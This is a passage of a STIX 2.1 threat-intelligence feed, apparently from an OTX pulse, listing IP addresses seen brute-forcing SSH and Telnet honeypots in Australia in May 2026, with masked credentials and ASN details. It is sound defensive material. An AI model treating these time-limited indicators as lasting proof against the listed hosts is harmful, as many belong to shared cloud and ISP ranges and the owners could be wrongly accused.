      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T20:15:34.000Z",
      "valid_until": "2026-06-22T20:15:08.000Z"
    },
    {
      "created": "2026-05-21T20:15:34.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 142627. Organisation(s): Multilink International. Usernames observed (masked): r**t. Passwords observed (masked): ***.",
      "id": "indicator--45de04fb-aa64-4a97-a08c-e1bd821fd0d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T20:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.171.69.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T20:15:34.000Z",
      "valid_until": "2026-06-22T20:15:08.000Z"
    },
    {
      "created": "2026-05-21T20:15:34.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 14593. Organisation(s): Space Exploration Technologies Corporation.",
      "id": "indicator--fe5c94ba-298f-47f9-8b58-a3c7c7cac33a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T20:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '149.19.165.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T20:15:34.000Z",
      "valid_until": "2026-06-22T20:15:08.000Z"
    },
    {
      "created": "2026-05-21T20:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 52612. Organisation(s): Alt Informatica Ltda.",
      "id": "indicator--48b935c0-d100-4691-87a8-bd950e89de10",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T20:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.124.23.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T20:15:34.000Z",
      "valid_until": "2026-06-22T20:15:08.000Z"
    },
    {
      "created": "2026-05-21T20:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--99817142-6918-4f5b-8e6f-5c4543253cdf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T20:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.65.193.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T20:15:34.000Z",
      "valid_until": "2026-06-22T20:15:08.000Z"
    },
    {
      "created": "2026-05-21T20:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 8193. Organisation(s): Uzbektelekom Joint Stock Company.",
      "id": "indicator--50750ada-d7ca-4946-bf4c-364bd044c212",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T20:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.230.93.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T20:15:34.000Z",
      "valid_until": "2026-06-22T20:15:08.000Z"
    },
    {
      "created": "2026-05-21T20:15:34.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): e****t. Passwords observed (masked): e****t.",
      "id": "indicator--f3247501-826a-49c0-8039-8dbc0ab3de5f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T20:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.237.167.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T20:15:34.000Z",
      "valid_until": "2026-06-22T20:15:08.000Z"
    },
    {
      "created": "2026-05-21T21:16:49.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: VN. ASN(s): 150900. Organisation(s): VPSMMO COMPANY LIMITED.",
      "id": "indicator--0bf2163b-b7df-4d6f-bcf9-27fe750c73a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T21:16:49.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.77.242.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T21:16:49.000Z",
      "valid_until": "2026-06-22T21:15:08.000Z"
    },
    {
      "created": "2026-05-21T21:16:49.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 133982. Organisation(s): Excitel Broadband Private Limited.",
      "id": "indicator--e777590d-5573-4d3f-8302-1d400280c4d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T21:16:49.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.87.58.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T21:16:49.000Z",
      "valid_until": "2026-06-22T21:15:08.000Z"
    },
    {
      "created": "2026-05-21T21:16:49.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--ba6aac6c-c81b-434d-99e5-7e633edb7613",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T21:16:49.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '114.35.208.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T21:16:49.000Z",
      "valid_until": "2026-06-22T21:15:08.000Z"
    },
    {
      "created": "2026-05-21T21:16:49.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: SY. ASN(s): 216472. Organisation(s): High Speed For Internet Services L.L.C.",
      "id": "indicator--f58cdf54-4ce4-47cd-a387-18af0c3ab426",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T21:16:49.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '131.222.210.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T21:16:49.000Z",
      "valid_until": "2026-06-22T21:15:08.000Z"
    },
    {
      "created": "2026-05-21T21:16:49.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: SN. ASN(s): 8346. Organisation(s): SONATEL SONATEL-AS Autonomous System.",
      "id": "indicator--a6c323fc-3fd7-4a3d-9c54-34fc2fe94187",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T21:16:49.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.124.28.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T21:16:49.000Z",
      "valid_until": "2026-06-22T21:15:08.000Z"
    },
    {
      "created": "2026-05-21T21:16:49.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UY. ASN(s): 6057. Organisation(s): Administracion Nacional de Telecomunicaciones.",
      "id": "indicator--382560c1-3bdf-4986-8868-888f56249c7d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T21:16:49.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '167.56.178.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T21:16:49.000Z",
      "valid_until": "2026-06-22T21:15:08.000Z"
    },
    {
      "created": "2026-05-21T21:16:49.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--9da32abe-5319-4ca7-babf-051e49c2bf84",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T21:16:49.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.9.213.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T21:16:49.000Z",
      "valid_until": "2026-06-22T21:15:08.000Z"
    },
    {
      "created": "2026-05-21T21:16:49.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--19d66d14-7f3c-44e1-8fa3-37da3dc4c3f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T21:16:49.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.224.69.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T21:16:49.000Z",
      "valid_until": "2026-06-22T21:15:08.000Z"
    },
    {
      "created": "2026-05-21T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 131414. Organisation(s): Long Van Soft Solution JSC. Usernames observed (masked): r**t, t****l, 3**********4, s*****e, *. Passwords observed (masked): #*******1, ***, 3***********4, 3**********4, A*******@.",
      "id": "indicator--78736466-e6e1-4682-b68c-d5ca3fff7393",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.237.144.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T22:15:11.000Z",
      "valid_until": "2026-06-22T22:15:08.000Z"
    },
    {
      "created": "2026-05-21T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): a****d. Passwords observed (masked): a*******3.",
      "id": "indicator--55ed863c-9a36-4036-b2e5-bf17d2a23525",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '107.175.54.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T22:15:11.000Z",
      "valid_until": "2026-06-22T22:15:08.000Z"
    },
    {
      "created": "2026-05-21T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LU. ASN(s): 53667. Organisation(s): FranTech Solutions.",
      "id": "indicator--8b7b41d3-677b-4107-a19b-17d302cb8f03",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '107.189.3.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T22:15:11.000Z",
      "valid_until": "2026-06-22T22:15:08.000Z"
    },
    {
      "created": "2026-05-21T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): m*****r. Passwords observed (masked): 1***5.",
      "id": "indicator--b21e8fbb-b4c2-4be1-aaa6-ea5c8678c284",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.31.210.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T22:15:11.000Z",
      "valid_until": "2026-06-22T22:15:08.000Z"
    },
    {
      "created": "2026-05-21T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): 3**********4, r**t, s****i. Passwords observed (masked): 1****6, 3**********4, I********3.",
      "id": "indicator--8cb90e9a-45d5-48c0-89be-1766a0997379",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.103.151.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T22:15:11.000Z",
      "valid_until": "2026-06-22T22:15:08.000Z"
    },
    {
      "created": "2026-05-21T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--1d9a752b-f938-4108-9367-cbbb191c3949",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '144.48.130.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T22:15:11.000Z",
      "valid_until": "2026-06-22T22:15:08.000Z"
    },
    {
      "created": "2026-05-21T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): m******n, r**t, 3**********4, a***********r, a***********r. Passwords observed (masked): ***, 1**4, 2*******m, 3***********4, 3**********4.",
      "id": "indicator--af5cb32a-e317-4465-a9b2-532ec946016d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.32.214.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T22:15:11.000Z",
      "valid_until": "2026-06-22T22:15:08.000Z"
    },
    {
      "created": "2026-05-21T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): m*****r, r**t, 3**********4, t******y. Passwords observed (masked): 1***5, 3***********4, 3**********4, Q*******3, q******6.",
      "id": "indicator--4e45e863-3103-4b73-a389-5285c815200d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '167.71.253.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T22:15:11.000Z",
      "valid_until": "2026-06-22T22:15:08.000Z"
    },
    {
      "created": "2026-05-21T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 28531. Organisation(s): Mexico Red de Telecomunicaciones, S. de R.L. de C.V..",
      "id": "indicator--0e92204e-72b5-4ffc-9f10-383dad3d1ebb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.232.81.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T22:15:11.000Z",
      "valid_until": "2026-06-22T22:15:08.000Z"
    },
    {
      "created": "2026-05-21T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 52361. Organisation(s): Empresa Argentina de Soluciones Satelitales S.A..",
      "id": "indicator--ef42780c-4394-4922-aa7d-ef8ec303705d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.209.107.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T22:15:11.000Z",
      "valid_until": "2026-06-22T22:15:08.000Z"
    },
    {
      "created": "2026-05-21T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BY. ASN(s): 215272. Organisation(s): Yedinyye Resheniya LLC. Usernames observed (masked): r**t, 3**********4, j***s, u****u, u**r. Passwords observed (masked): ***, 1*****c, 3***********4, 3**********4, A*******..",
      "id": "indicator--7caa6219-ec0c-45c2-bf7f-c898a96549e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.251.38.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T22:15:11.000Z",
      "valid_until": "2026-06-22T22:15:08.000Z"
    },
    {
      "created": "2026-05-21T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 8151. Organisation(s): UNINET. Usernames observed (masked): r**t, n*****s, 3**********4, c**e, f**1. Passwords observed (masked): 3***********4, 3**********4, A*******., A*******3, P******d.",
      "id": "indicator--868183cb-9d10-4cbb-8588-ef3042565805",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.174.238.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T22:15:11.000Z",
      "valid_until": "2026-06-22T22:15:08.000Z"
    },
    {
      "created": "2026-05-21T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 28534. Organisation(s): Mexico Red de Telecomunicaciones, S. de R.L. de C.V..",
      "id": "indicator--649fb978-323c-47d0-baa0-655d28d30ab4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.187.207.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T22:15:11.000Z",
      "valid_until": "2026-06-22T22:15:08.000Z"
    },
    {
      "created": "2026-05-21T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 10429. Organisation(s): TELEFONICA BRASIL S.A. Usernames observed (masked): r**t, s***e, t******4. Passwords observed (masked): s******3, t******4, w*********m.",
      "id": "indicator--28f89a09-8d80-4ff4-b43f-e30eb2e18b2e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.51.208.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T22:15:11.000Z",
      "valid_until": "2026-06-22T22:15:08.000Z"
    },
    {
      "created": "2026-05-21T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 51273. Organisation(s): FOP Lizanchuk Yaroslav M..",
      "id": "indicator--7425b005-43e3-4bc6-99be-780242fb1482",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '193.160.227.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T22:15:11.000Z",
      "valid_until": "2026-06-22T22:15:08.000Z"
    },
    {
      "created": "2026-05-21T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia. Usernames observed (masked): r**t. Passwords observed (masked): 1******A, A*******3, u*****1.",
      "id": "indicator--63864537-c3db-4196-abf8-427e4518fd6e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.79.236.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T22:15:11.000Z",
      "valid_until": "2026-06-22T22:15:08.000Z"
    },
    {
      "created": "2026-05-21T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 143. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 270133. Organisation(s): Fiberwifi SA de CV. Usernames observed (masked): r**t, z****a, 3**********4, b****a, c******r. Passwords observed (masked): 1****6, 3***********4, 3**********4, A******#, P******d.",
      "id": "indicator--5f1691d1-b5b4-4078-ade0-bfefafd4c4b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.22.170.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T22:15:11.000Z",
      "valid_until": "2026-06-22T22:15:08.000Z"
    },
    {
      "created": "2026-05-21T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4, u***1, z****a, b****a. Passwords observed (masked): 3***********4, 3**********4, 1****6, 1******x, A******#.",
      "id": "indicator--3ea34e86-07db-4a0a-842c-9e523c0449c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '4.194.4.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T22:15:11.000Z",
      "valid_until": "2026-06-22T22:15:08.000Z"
    },
    {
      "created": "2026-05-21T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): ***. Passwords observed (masked): ***.",
      "id": "indicator--c19b8a7b-39b6-448c-a961-0c8945ae0065",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.134.61.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T22:15:11.000Z",
      "valid_until": "2026-06-22T22:15:08.000Z"
    },
    {
      "created": "2026-05-21T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 266860. Organisation(s): CONEXION DIGITAL EXPRESS S.A.S..",
      "id": "indicator--c88f18b2-9e9c-4e9c-bfca-1ecd4f5d5fd6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.238.182.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T22:15:11.000Z",
      "valid_until": "2026-06-22T22:15:08.000Z"
    },
    {
      "created": "2026-05-21T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 214503. Organisation(s): QuxLabs AB. Usernames observed (masked): r**t. Passwords observed (masked): S********************d.",
      "id": "indicator--d399dcc8-8738-42b1-8277-160a6895342f",
      "labels": [
        "bruteforce"
      ],
